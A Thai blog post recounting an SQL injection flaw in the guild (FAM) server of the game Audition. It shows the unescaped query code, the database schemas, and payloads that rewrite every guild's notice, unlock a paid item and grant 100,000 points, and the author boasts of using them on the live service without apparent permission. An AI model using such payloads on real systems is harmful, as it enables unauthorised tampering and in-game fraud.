ไม่ได้เขียนซะนาน วันนี้เอาเรื่องบั๊กร้ายแรงมาเล่าซะหน่อย ขออภัยที่อาจไม่มีภาพประกอบนะครับ เพราะตอนทำ ไม่ได้ถ่ายภาพไว้เลย -_- (ไม่อยากให้มีหลักฐานมัดตัว ฮ่าๆ) กด Read More เอานะ เปลืองที่หน้าแรกของผม
*หมายเหตุ: บั๊กดังกล่าวได้รับการแก้ไขไปแล้วในหลายๆ ประเทศ ผมจึงได้รับอนุญาตจาก ใครหว่า? ให้เผยแพร่เพื่อเป็นวิทยาทานได้ครับ
เอาล่ะเข้าเรื่อง บั๊กที่ว่านั้นก็คือ SQL Injection ในระบบ FAM System ของออดิชั่นนั่นเองครับ ซึ่งบั๊กนี้ผมเจอโดยบังเอิญระหว่างการพัฒนา FAM Server เพื่อรองรับระบบใหม่ๆ (ผมมี source code เกมออดิชั่นครับ :)) ระหว่างใล่อ่าน code ไปเรื่อยๆ แก้เซง เลยเห็นจุดนึงเข้า ซึ่งไม่มี mysql_real_escape_string เพื่อป้องกันการ inject sql เข้ามาเลย ทีนี้ด้านมืดเริ่มเข้าครอบงำ หึหึ ประกอบกับเจอ log file อย่างนึงแล้ว ผมจึงมั่นใจได้ว่า มีส่วนหนึ่งของ fam server ไม่ได้ป้องกันไว้ ซึ่งก็มีอยู่ประมาณ 3 ส่วนด้วยกัน
1. ประกาศแฟม
2. บอร์ด (ตรงหัวข้อบอร์ด)
3. ตรงข้อมูลแฟม
ตรงข้อ 2 บอร์ด เนื่องจากพื้นที่พิมพ์น้อยเกินไป เราจึงตัดมันทิ้งไป (ถึงจะมี sql inject ก็ไร้ประโยชน์สุดๆ เหอๆ) แต่ก่อนอื่น ส่วน 1 กับส่วน 3 อยู่คนละฐานข้อมูลกัน ซึ่งประกาศแฟม จะอยู่ใน famhouse และข้อมูลแฟม จะอยู่ใน faminfo เราจะมาอธิบายกันทีละส่วนนะครับ
— ส่วนแรก ประกาศแฟม —
ก่อนอื่น เรามาดู code ของ FAM Server ในส่วนนี้กันก่อน
sprintf(szQuery, "UPDATE famhouse SET notice = '%s' WHERE famid = %u",szNotice,dwFamId);
if ( CMySQLCom::Query(&pDBFamDB, szQuery) )
จะเห็นว่า query string คือ UPDATE famhouse SET notice = '%s' WHERE famid = %u
ซึ่งผมก็พบว่ามันไม่ได้ escape ทิ้ง ผมก็เลยลองใส่ ‘ (ฟันหนูเดี่ยว) ไปตัวเดียว ปรากฏว่า…..
ข้อมูลผิดพลาด กรุณาติดต่อทีมงาน (Code: -3)
ยิ่งมั่นใจได้เลยว่า มันไม่ได้กันตรงนี้ไว้จริงๆ ทีนี้เราก็มีอะไรเด็ดๆ ให้เล่นแล้วครับ แต่ก่อนอื่น เรามารู้โครงสร้างฐานข้อมูลของ famhose ก่อนดีกว่า ซึ่งโครงสร้างจะมีตามนี้ครับ
famid – int(10)
notice – varchar(64)
banklayer – smallint(5)
noticelayer – smallint(5)
clocklayer – smallint(5)
boardlayer – smallint(5)
backlayer – smallint(5)
skylayer – smallint(5)
earthlayer – smallint(5)
houselayer – smallint(5)
etclayer – smallint(5)
เราจะเห็นว่า ข้อความประกาศถูกเก็บไว้ที่ notice ผมจึงนึกสนุก ลองเปลี่ยนประกาศทุกแฟมดู โดยการใส่ประกาศเข้าไปตามนี้
All Fam is hacked!' --
พอกด OK โอ้วพระเจ้า ประกาศทุกแฟมกลายเป็นแบบที่ผมต้องการหมด เกิดจากอะไรล่ะ? ทีนี้เรามาดู query string ที่ฝั่งเซิฟเวอร์ครับ ว่ามันเกิดอะไรขึ้น
UPDATE famhouse SET notice = 'All Fam is hacked!' -- ' WHERE famid = 1
เครื่องหมาย — คือ comment ในภาษา SQL ครับ โดยโค๊ดหลังจากเครื่องหมายนี้ จะถือว่าเป็นหมายเหตุ ไม่มีผลต่อการทำงาน และเมื่อ query string กลายเป็นแบบนี้ ไม่มี Where ในเงื่อนไข ทำให้มันเปลี่ยนประกาศทุกบ้าน!!!
แต่เดี๋ยวก่อน ความสนุกยังไม่จบครับ เรายังทำได้มากกว่านั้นตั้งเยอะ ลองดูโครงสร้างฐานข้อมูลดีๆ สิครับ เราจะเห็นว่า มันเก็บข้อมูลของบ้านไว้หมด ว่าเราใช้ฉากหลังอะไร ท้องฟ้าอะไร แล้วถ้าเราเปลี่ยนค่าในฐานข้อมูลล่ะ หึหึ ผมจึงจัดการใส่ประกาศไปตามนี้
', clocklayer='64
ทำให้ query string กลายเป็นแบบนี้
UPDATE famhouse SET notice = '', clocklayer='64' WHERE famid = 1
นาฬิกาผม ก็เปลี่ยนเป็นนาฬิกาโบราณ แบบที่ไม่ต้องเสียเงินเด็นซื้อซักแดงเดียว ฮ่าๆๆ
— ส่วนที่สอง ข้อมูลแฟม —
ตรงนี้เฉพาะหัวหน้าแฟมที่เข้าไปได้ครับ เบื้องต้นก็เหมือนข้างบนครับ แต่ข้อมูลแฟมเราจะอยู่ใน faminfo เรามาดูโครงสร้างฐานข้อมูลของมันดีกว่า
famid – int(10)
famname – varchar(16)
fampoint – int(10)
mastersn – int(10)
masternick – varchar(23)
houseid – smallint(5)
shortintro – varchar(100)
longintro – text
secret – tinyint(3)
rank – int(10)
membercount – smallint(5)
createdate – datetime
wincount – int(10)
losecount – int(10)
สิ่งที่เราต้องการจะอยู่ใน longintro ครับ (จึงเป็นสาเหตุว่า มีคนที่รู้บั๊กนี้แล้วเปลี่ยนข้อมูลแฟมทุกบ้าน จึงขึ้น , longintro หมด) แต่เอ๊ะ คุณเห็นอะไรในนี้มั้ยครับ? fampoint หึหึหึ ทีนี้เราก็มาเสก Fam point ได้สินะ… ก่อนอื่นเรามาดู query string ก่อนครับ
UPDATE faminfo SET secret=%d, shortintro = '%s', longintro = '%s' WHERE famid = %u
ผมลองทดสอบใส่ ‘ ไปตัวนึง ปรากฏว่าก็ขึ้น ข้อมูลผิดพลาด กรุณาติดต่อทีมงาน เหมือนกัน ผมจึงรู้ว่า จุดนี้เราก็สามารถทำได้เหมือนกันครับ เอาล่ะ เรามาลองเสก fam point กัน หึหึๆ ผมลองพิมพ์ข้อมูลแฟม (ช่องล่าง พิมพ์ได้เยอะดี) ลงไปตามนี้
', fampoint='100000
ทำให้ query string เป็นแบบนี้
UPDATE faminfo SET secret=0, shortintro = 'Test', longintro = '', fampoint='100000' WHERE famid = 1
และแล้ว บ้านผมก็มีพ้อยขึ้่นมา 1 แสนพ้อยทันทีโดยไม่ต้องเหนื่อย 🙂 และ sql injection นี้สามารถทำอะไรได้อีกเยอะครับ
ถึงทุกท่าน ปัจจุบันบั๊กนี้ได้ถูกแก้ไขในออดิชั่นทั่วโลกแล้ว จึงไม่สามารถนำไปใช้จริงๆ ได้อีกครับ
ใส่ความเห็น
คุณต้องเข้าสู่ระบบ เพื่อจะพิมพ์ความเห็น